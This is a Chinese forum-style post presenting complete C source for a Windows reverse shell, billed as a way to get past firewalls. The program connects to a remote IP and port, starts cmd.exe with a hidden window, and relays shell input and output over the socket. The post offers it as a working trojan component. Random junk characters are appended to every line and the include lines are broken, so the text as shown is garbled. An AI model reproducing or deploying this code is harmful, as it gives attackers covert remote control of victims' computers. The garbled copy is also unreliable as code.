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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 VwxLElV  
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/* ============================== ( 17=|s  
Rebound port in Windows NT {X'D07q  
By wind,2006/7 .|Zt&5osI  
===============================*/ A,'JmF$d  
#include B>"O~ gZ{#  
#include ~99DE78  
:M'V**A(  
#pragma comment(lib,"wsock32.lib") tV5U z&:b  
{3{cU#\QA  
void OutputShell(); c[QXc9  
SOCKET sClient; %qj8*1  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; X=U>r  
g<&n V>wF  
void main(int argc,char **argv) S LSbEm  
{ }HC6m{vH(  
WSADATA stWsaData; 6 (@U+`  
int nRet; 6~_ TXy/  
SOCKADDR_IN stSaiClient,stSaiServer; FG[YH5  
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if(argc != 3) Y4.t:Uzr  
{ zPKx: I3  
printf("Useage:\n\rRebound DestIP DestPort\n"); }g\1JSJ%H  
return; drc]"6 k  
} 7-u['nFJ  
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WSAStartup(MAKEWORD(2,2),&stWsaData); L 2k?Pl  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <B %s9Zy  
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stSaiClient.sin_family = AF_INET; 9;*-y$@  
stSaiClient.sin_port = htons(0); &>]c"?C*  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;5(ptXX1W  
8vL2<VT;  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) /PuN+M  
{ Sl RQi:  
printf("Bind Socket Failed!\n"); cB ,l=/?  
return; ;@R=CQ6  
} 1!4-M$-  
{+V]saYP  
stSaiServer.sin_family = AF_INET; 71GyMtX   
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); #-*#? -  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 0~:Eo89  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) tDk!]  
{ wVms"U.  
printf("Connect Error!"); `$5 QTte  
return; Arzyq_ Yk  
} ][IEzeI_LN  
OutputShell(); )* \N[zm  
} d}2$J1`  
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void OutputShell() Jiv%Opo/|  
{ #rkz:ir4  
char szBuff[1024]; 2Vn~o_ga  
SECURITY_ATTRIBUTES stSecurityAttributes; n8dJ6"L<"  
OSVERSIONINFO stOsversionInfo; >A RZ=x[  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; +Kz baBK  
STARTUPINFO stStartupInfo; XFiP8aX<  
char *szShell; &=-ZNWNo  
PROCESS_INFORMATION stProcessInformation; ev}ugRxt|k  
unsigned long lBytesRead; &eqeQD6  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); vTdJe  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 6(5YvT  
stSecurityAttributes.lpSecurityDescriptor = 0; knsTy0]  
stSecurityAttributes.bInheritHandle = TRUE; `3CdW  
4N- T=Ig  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); >Yf)]e-  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); G'M;]R9EP  
(5Z*m<]c  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ~7$4w# of0  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~Gz b^  
stStartupInfo.wShowWindow = SW_HIDE; 8NJxtT~0c~  
stStartupInfo.hStdInput = hReadPipe; *@zh  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 'wg>=|Q5  
"^UJC-  
GetVersionEx(&stOsversionInfo); FZ0wtS2  
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switch(stOsversionInfo.dwPlatformId) +=:*[JEK,U  
{ pp2,d`01[L  
case 1: R iPxz=kr  
szShell = "command.com"; Sl!#!FGI  
break; /YLHg5n8+  
default: 2.>WR~ \  
szShell = "cmd.exe"; Sz_{#-  
break; y_7lSo8<  
} QQPT=_P]  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9[5qN!P;y  
jgW-&nK!  
send(sClient,szMsg,77,0); vo]!IY  
while(1) IOjp'6Yr  
{ 5x=aJl;G  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); y$Rr,]L  
if(lBytesRead) VPh0{(O^=  
{ ;Eer  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); j^V r!y  
send(sClient,szBuff,lBytesRead,0); @X?7a]+;8  
} OABMIgX  
else UK7pQt}9  
{ p" ;5J+?(  
lBytesRead=recv(sClient,szBuff,1024,0); S /kM#  
if(lBytesRead<=0) break; 4*D'zJsJ  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); $\w<.)"#  
} <Pm!#)-g9  
} b:M1P&R  
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return; Bo#,)%80  
}
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